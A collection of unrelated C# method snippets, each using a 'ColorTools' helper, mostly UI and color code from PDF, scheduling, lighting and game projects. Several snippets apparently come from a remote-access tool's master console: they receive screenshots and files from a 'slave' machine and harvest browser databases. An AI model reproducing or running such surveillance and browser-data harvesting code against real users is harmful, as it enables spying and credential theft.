public void Process(List <string> args) { ColorTools.WriteCommandMessage("Waiting for screenshot data..."); var fileName = args.Count == 1 ? args[0] : DateTime.Now.ToShortDateString().Replace('/', '-') + "_" + DateTime.Now.Hour + '-' + DateTime.Now.Minute + '-' + DateTime.Now.Second + ".png"; try { using (var fs = new FileStream(fileName, FileMode.Create)) { MasterCommandsManager.networkManager.NetworkStreamToStream(fs); } ColorTools.WriteCommandSuccess($"Screenshot saved : {fileName}"); } catch (Exception) { // Delete the partially created file File.Delete(fileName); ColorTools.WriteCommandError("An error occured"); } }
public DocumentMetadataTagControl(PDFDocument pdf_document, string tag) { this.pdf_document = pdf_document; this.tag = tag; InitializeComponent(); Background = new SolidColorBrush(ColorTools.MakeTransparentColor(Colors.Silver, 128)); Margin = new Thickness(2, 2, 0, 0); MinWidth = 10; MinHeight = 10; TextTag.Text = tag; TextTag.VerticalAlignment = VerticalAlignment.Center; TextTag.Padding = new Thickness(4, 4, 4, 4); ImageClear.Source = Icons.GetAppIcon(Icons.Clear); ImageClear.IsHitTestVisible = true; ImageClear.MouseLeftButtonUp += ImageClear_MouseLeftButtonUp; ImageClear.Cursor = Cursors.Hand; ImageClear.VerticalAlignment = VerticalAlignment.Center; ImageClear.ToolTip = "Click here to remove this tag from the document."; //Unloaded += DocumentMetadataTagControl_Unloaded; Dispatcher.ShutdownStarted += Dispatcher_ShutdownStarted; }
private void UpdateVisuals() { if (Item == null) { return; } try { base.Background = new ColorDrawable(ColorTools.GetColor(Item.Class.Color)); _textViewTitle.Text = Item.Name; if (Item.IsComplete) { _viewIsComplete.Visibility = ViewStates.Visible; _textViewTitle.Alpha = 0.7f; } else { _viewIsComplete.Visibility = ViewStates.Gone; _textViewTitle.Alpha = 1f; } } catch (Exception ex) { TelemetryExtension.Current?.TrackException(ex); } }
public Color GetColor(string key) { object obj = this[key]; string color_string = obj as string; if (null != color_string) { return(ColorTools.HEXToColor(color_string)); } ColorWrapper color_wrapper = obj as ColorWrapper; if (null != color_wrapper) { Logging.Info("Doing a legacy Color upgrade for key " + key); SetColor(key, color_wrapper.Color); return(color_wrapper.Color); } // Not a good place to be, but we will try our best :-) // This means that we somehow didnt write a correct color to the streamm... JContainer color_json = obj as JContainer; if (null != color_json) { ColorWrapper cw = JsonConvert.DeserializeObject <ColorWrapper>(color_json.ToString()); return(cw.Color); } // If we get here there is no color! return(Colors.Transparent); }
private void ReColor() { double LIGHT_TRANSPARENCY = ConfigurationManager.Instance.ConfigurationRecord.GUI_AnnotationScreenTransparency; double LIGHT_TRANSPARENCY_TEXT_VISIBLE = Math.Max(0.6, LIGHT_TRANSPARENCY); Color lighter_color = pdf_annotation.Color; Color darker_color = ColorTools.MakeDarkerColor(lighter_color); Background = new LinearGradientBrush(darker_color, lighter_color, 45); if (GUITools.IsDescendentOf(Keyboard.FocusedElement, TextAnnotationText) || GUITools.IsDescendentOf(Keyboard.FocusedElement, ObjTagEditorControl) || IsMouseOver) { TextAnnotationText.Foreground = Brushes.Black; PanelAdditionalControls.Visibility = Visibility.Visible; Animations.Fade(this, LIGHT_TRANSPARENCY, 0.95); } else { PanelAdditionalControls.Visibility = Visibility.Collapsed; if (!pdf_annotation.AnnotationTextAlwaysVisible) { TextAnnotationText.Foreground = Brushes.Transparent; Animations.Fade(this, 0.95, LIGHT_TRANSPARENCY); } else { Animations.Fade(this, 0.95, LIGHT_TRANSPARENCY_TEXT_VISIBLE); } } }
private async void InitializeTile(PreviewTile tile) { try { tile.DisplayName = ViewModel.Class.Name; if (ViewModel.Settings.CustomColor != null) { tile.VisualElements.BackgroundColor = ColorTools.GetColor(ViewModel.Settings.CustomColor); } else { tile.VisualElements.BackgroundColor = ColorTools.GetColor(ViewModel.Class.Color); } tile.VisualElements.ShowNameOnSquare150x150Logo = true; tile.VisualElements.Square44x44Logo = new Uri("ms-appx:///Assets/Square44x44Logo.png"); tile.VisualElements.Square71x71Logo = new Uri("ms-appx:///Assets/Square71x71Logo.png"); tile.VisualElements.Square150x150Logo = new Uri("ms-appx:///Assets/Square150x150Logo.png"); tile.VisualElements.Square310x310Logo = new Uri("ms-appx:///Assets/Square310x310Logo.png"); tile.VisualElements.Wide310x150Logo = new Uri("ms-appx:///Assets/Wide310x150Logo.png"); await tile.UpdateAsync(); } catch (Exception ex) { TelemetryExtension.Current?.TrackException(ex); } }
public async Task TestAddingClass_Defaults() { DataItemClass c = new DataItemClass() { Identifier = Guid.NewGuid(), UpperIdentifier = base.CurrentSemesterId, Credits = 3, Name = "Math", Details = "", RawColor = ColorTools.GetArray(Colors.Red, 3) }; DataChanges changes = new DataChanges(); changes.Add(c); await base.DataStore.ProcessLocalChanges(changes); var viewModel = await ViewModelClass.LoadAsync(base.LocalAccountId, c.Identifier, DateTime.Today); var viewClass = viewModel.Class; Assert.AreEqual("Math", viewClass.Name); Assert.AreEqual(3, viewClass.Credits); Assert.AreEqual("", viewClass.Details); Assert.AreEqual(Colors.Red, viewClass.Color); }
public void PreInit(CombatDialogue actualCombat) { // assign backgrounds for (int i = 0; i < backgrounds.Length; i++) { backgrounds[i].sprite = actualCombat.sceneBackgrounds[i]; backgrounds[i].color = ColorTools.LerpColorValues(Skinning.GetSkin(backgrounds[i].GetComponent <SkinGraphic>().skin_tag), ColorTools.Value.SV, new int[2] { backgroundSvalue, backgroundVvalue }); backgrounds[i].GetComponent <SkinGraphic>().enabled = false; } this.actualCombat = actualCombat; enemyHealth = new List <SubCategory>(actualCombat.weaknesses); enemyGraph.sprite = actualCombat.enemySprites[4 + enemyHealth.Count]; bigEnemyGraph.sprite = enemyGraph.sprite; playerGraph.sprite = playerSprites[0]; actualPhase = Phase.INTRO; if (actualCombat.actualState == GameData.GameState.GAME_OVER_FINISHER) { enemyHealth.Clear(); enemyGraph.sprite = actualCombat.enemySprites[4]; } }
public static void LoadConf() { try { List <string> lines = new List <string>(); foreach (string line in File.ReadAllLines(ConfFile, StringTools.ENCODING_SJIS)) { if (line != "" && line.StartsWith(";") == false) { lines.Add(line); } } int c = 0; // ---- data ---- ClientInfoCountMax = IntTools.ToInt(lines[c++], 1, IntTools.IMAX, 20); HeaderFieldCountMax = IntTools.ToInt(lines[c++], 1, IntTools.IMAX, 20); ColorOkCancel = ColorTools.FromRRGGBB(lines[c++]); Color行番号 = ColorTools.FromRRGGBB(lines[c++]); Count失敗Min_ChangeIcon = IntTools.ToInt(lines[c++], 1, IntTools.IMAX, 3); // ---- } catch { } }
public LightColorEditor(DirectionalLight light) { InitializeComponent(); R = light.difR; G = light.difG; B = light.difB; ColorTools.RGB2HSV(R, G, B, out hue, out saturation, out value); colorTempTB.Text = colorTemp + ""; redTB.Text = R + ""; greenTB.Text = G + ""; blueTB.Text = B + ""; hueTB.Text = hue + ""; satTB.Text = saturation + ""; valueTB.Text = value + ""; redTrackBar.Value = (int)(R * redTrackBar.Maximum); greenTrackBar.Value = (int)(G * greenTrackBar.Maximum); blueTrackBar.Value = (int)(B * blueTrackBar.Maximum); hueTrackBar.Value = (int)(hue); colorTempTrackBar.Value = (int)colorTemp; this.light = light; }
/// <summary> /// Call GetServerStringResponse, catch exceptions on response and deserialization. /// Return the deserialized response object. /// </summary> /// <typeparam name="T">Expected response type</typeparam> /// <param name="json">Json string to POST</param> /// <returns>Response json class or null</returns> static T PostJsonToServer <T>(string json) { T response = default(T); string error = null; try { response = JsonConvert.DeserializeObject <T>(GetServerStringResponse(json).Result, jsonSerializerSettings); if (response == null) { throw new JsonSerializationException(); } } catch (JsonSerializationException) { error = "The server sent an invalid response, this may mean it has been compromised or is misconfigured..."; } catch (Exception) { error = "The master server didn't respond"; } if (error != null) { ColorTools.WriteCommandError(error); } return(response); }
public void Process(List <string> args) { var initResult = MasterCommandsManager.networkManager.ReadLine(); if (initResult != "OK") { ColorTools.WriteCommandError(initResult == "NotFound" ? "The remote file doesn't exist" : "An IO exception occured"); return; } var path = args[1]; ColorTools.WriteCommandMessage($"Starting download of file '{args[0]}' from the slave"); try { using (var fs = new FileStream(path, FileMode.Create)) { MasterCommandsManager.networkManager.NetworkStreamToStream(fs); } ColorTools.WriteCommandSuccess("File successfully downloaded from the slave"); } catch (Exception) { // Delete the partially created file File.Delete(path); ColorTools.WriteCommandError("An error occured"); } }
public void Process(List <string> args) { var databases = new Databases(); GetDatabases(databases); if (databases.NoDatabases()) { ColorTools.WriteCommandError("No browser database could be harvested"); } else { try { File.WriteAllText(args[0], ProcessDatabases(databases)); ColorTools.WriteCommandSuccess($"Successfully wrote informations in {args[0]}"); } catch (Exception) { ColorTools.WriteCommandError($"Couldn't write informations in {args[0]}"); } Cleanup(); } }
private void UpdateValuesFromTemp() { ColorTools.ColorTemp2RGB(colorTemp, out R, out G, out B); UpdateValuesFromRgb(); UpdateColorTrackBars(); UpdateButtonColor(); }
public MyScheduleItemView(Context context, ViewItemSchedule s) : base(context) { Schedule = s; base.Orientation = Orientation.Vertical; base.SetPaddingRelative(ThemeHelper.AsPx(context, 5), ThemeHelper.AsPx(context, 5), 0, 0); m_classColorBindingInstance = Binding.SetBinding(s.Class, nameof(s.Class.Color), (c) => { base.Background = new ColorDrawable(ColorTools.GetColor(c.Color)); }); // Can't figure out how to let both class name and room wrap while giving more importance // to room like I did on UWP, so just limiting name to 2 lines for now till someone complains. var textViewName = CreateTextView(""); m_classNameBindingInstance = Binding.SetBinding(s.Class, nameof(s.Class.Name), (c) => { textViewName.Text = c.Name; }); textViewName.SetMaxLines(2); base.AddView(textViewName); base.AddView(CreateTextView(GetStringTimeToTime(s))); if (!string.IsNullOrWhiteSpace(s.Room)) { base.AddView(CreateTextView(s.Room)); } }
/// <summary> /// Display an help message for the given IMasterCommand on the console /// </summary> /// <param name="command">Command to show the help for</param> public void ShowCommandHelp(IMasterCommand command) { ColorTools.WriteMessage(command.description); ColorTools.WriteInlineMessage("Syntax: ", ConsoleColor.DarkCyan); var help = new StringBuilder(); if (command.validArguments == null) { help.Append(command.name); } for (int i = 0; i < command.validArguments?.Count; i++) { if (i != 0) { help.Append(new string(' ', 8)); } var syntax = command.name + ' ' + command.validArguments[i].Replace("?", "").Replace("*", "").Replace(":", ""); if (i == command.validArguments.Count - 1) { // Don't add a line return for the last syntax help.Append(syntax); } else { help.AppendLine(syntax); } } ColorTools.WriteMessage(help.ToString()); }
private TextSearchBrushes() { for (int i = 0; i < 7; ++i) { brushes.Add(new TransparentBoxBrushPair(ColorTools.GetRainbowColour(i))); } }
private View CreateCircle(ViewGroup root, BaseViewItemHomeworkExamGrade item) { View view = new View(root.Context) { Background = ContextCompat.GetDrawable(root.Context, Resource.Drawable.circle), LayoutParameters = new LinearLayout.LayoutParams( ThemeHelper.AsPx(Context, 5), ThemeHelper.AsPx(Context, 5)) { RightMargin = ThemeHelper.AsPx(Context, 3) } }; if (item is BaseViewItemHomeworkExam) { ViewCompat.SetBackgroundTintList(view, new ColorStateList(new int[][] { new int[] { } }, new int[] { ColorTools.GetColor((item as BaseViewItemHomeworkExam).GetClassOrNull().Color).ToArgb() })); } return(view); }
private Color ParseColor(string hex) { ColorTools.ParseHex(hex, out byte r, out byte g, out byte b); return(new Color { A = byte.MaxValue, R = r, G = g, B = b, }); }
private Color GetHighlightColor() { var prefs = PreferenceManager.GetDefaultSharedPreferences(Context); var highlightColor = prefs.GetString("lcs_HighlightColor", LatestCommitsSettings.DefaultRed); var highlightEnabled = prefs.GetBoolean("lcs_HighlightEnabled", true); return(highlightEnabled ? ColorTools.GetColorFromHex(highlightColor) : Color.White); }
public GdkColor(string?hex) { ColorTools.ParseHex(hex, out byte r, out byte g, out byte b); Red = r / 255d; Green = g / 255d; Blue = b / 255d; Alpha = 1; }
private static async Task UpdateTileAsync(SecondaryTile tile, AccountDataItem account, AccountDataStore data, Guid classId) { try { DateTime todayInLocal = DateTime.Today; // Get the class tile settings ClassTileSettings settings = await account.GetClassTileSettings(classId); ClassData classData = await LoadDataAsync(data, classId, DateTime.SpecifyKind(todayInLocal, DateTimeKind.Utc), settings); // If classData was null, that means the class wasn't found, so we should delete the tile if (classData == null) { await tile.RequestDeleteAsync(); return; } bool changed = false; string desiredName = GetTrimmedClassName(classData.Class.Name); Color desiredColor; if (settings.CustomColor != null) desiredColor = ColorTools.GetColor(settings.CustomColor); else desiredColor = ColorTools.GetColor(classData.Class.Color); if (!tile.DisplayName.Equals(desiredName)) { changed = true; tile.DisplayName = desiredName; } if (!tile.VisualElements.BackgroundColor.Equals(desiredColor)) { changed = true; tile.VisualElements.BackgroundColor = desiredColor; } if (changed) await tile.UpdateAsync(); var updater = TileUpdateManager.CreateTileUpdaterForSecondaryTile(tile.TileId); UpdateUpcomingTile(updater, classData.AllUpcoming, todayInLocal, UpcomingTileType.ClassTile, settings); } catch (Exception ex) { if (!UWPExceptionHelper.TrackIfNotificationsIssue(ex, "Tiles")) { throw ex; } } }
private void UpdateStageButtonColor() { int red = ColorTools.ClampInt((int)(selectedStageLight.diffuseColor.R * 255)); int green = ColorTools.ClampInt((int)(selectedStageLight.diffuseColor.G * 255)); int blue = ColorTools.ClampInt((int)(selectedStageLight.diffuseColor.B * 255)); Color stageColor = Color.FromArgb(255, red, green, blue); stageDifColorButton.BackColor = stageColor; }
public object Convert(object value, Type targetType, object parameter, CultureInfo culture) { if (value is byte[]) { return(ColorTools.GetColor(value as byte[])); } return(value); }
private void UpdateFogButtonColor() { int red = ColorTools.ClampInt((int)(selectedFogColor.R * 255)); int green = ColorTools.ClampInt((int)(selectedFogColor.G * 255)); int blue = ColorTools.ClampInt((int)(selectedFogColor.B * 255)); Color fogColor = Color.FromArgb(255, red, green, blue); fogColorButton.BackColor = fogColor; }
private void _DrawAsMenuBtn(PaintEventArgs aPArgs) { Graphics lGraph = aPArgs.Graphics; Pen lPen = new Pen(ColorTools.setAlpha(_cAlpha, this.Color)); Brush lBrush = new SolidBrush(ColorTools.setAlpha(_cAlpha, this.Color)); lGraph.FillRectangle(lBrush, 0, 0, Width, Height); DrawString(lGraph, Caption, alCENTER, alMID, Width / 2, Height / 2); }
private void UpdateStageButtonColor() { int red = ColorTools.FloatToIntClamp(selectedStageLight.diffuseColor.R); int green = ColorTools.FloatToIntClamp(selectedStageLight.diffuseColor.G); int blue = ColorTools.FloatToIntClamp(selectedStageLight.diffuseColor.B); Color stageColor = Color.FromArgb(255, red, green, blue); stageDifColorButton.BackColor = stageColor; }
private void UpdateFogButtonColor() { int red = ColorTools.FloatToIntClamp(selectedFogColor.R); int green = ColorTools.FloatToIntClamp(selectedFogColor.G); int blue = ColorTools.FloatToIntClamp(selectedFogColor.B); Color fogColor = Color.FromArgb(255, red, green, blue); fogColorButton.BackColor = fogColor; }
public TransparentBoxBrushPair(Color color) { int TRANSPARENCY = (int)Math.Round(ConfigurationManager.Instance.ConfigurationRecord.GUI_HighlightScreenTransparency * 255); this.color = color; color_transparent = ColorTools.MakeTransparentColor(color, (byte)TRANSPARENCY); brush_border = new SolidColorBrush(color); brush_fill = new SolidColorBrush(color_transparent); }
/// <summary> /// Display an help message for all the commands on the console, calls ShowCommandHelp /// </summary> public void ShowGlobalHelp() { foreach (var command in commandList) { Console.WriteLine(" "); ColorTools.WriteInlineMessage($"-- {command.name} --\n", ConsoleColor.Cyan); ShowCommandHelp((IMasterCommand)command); } }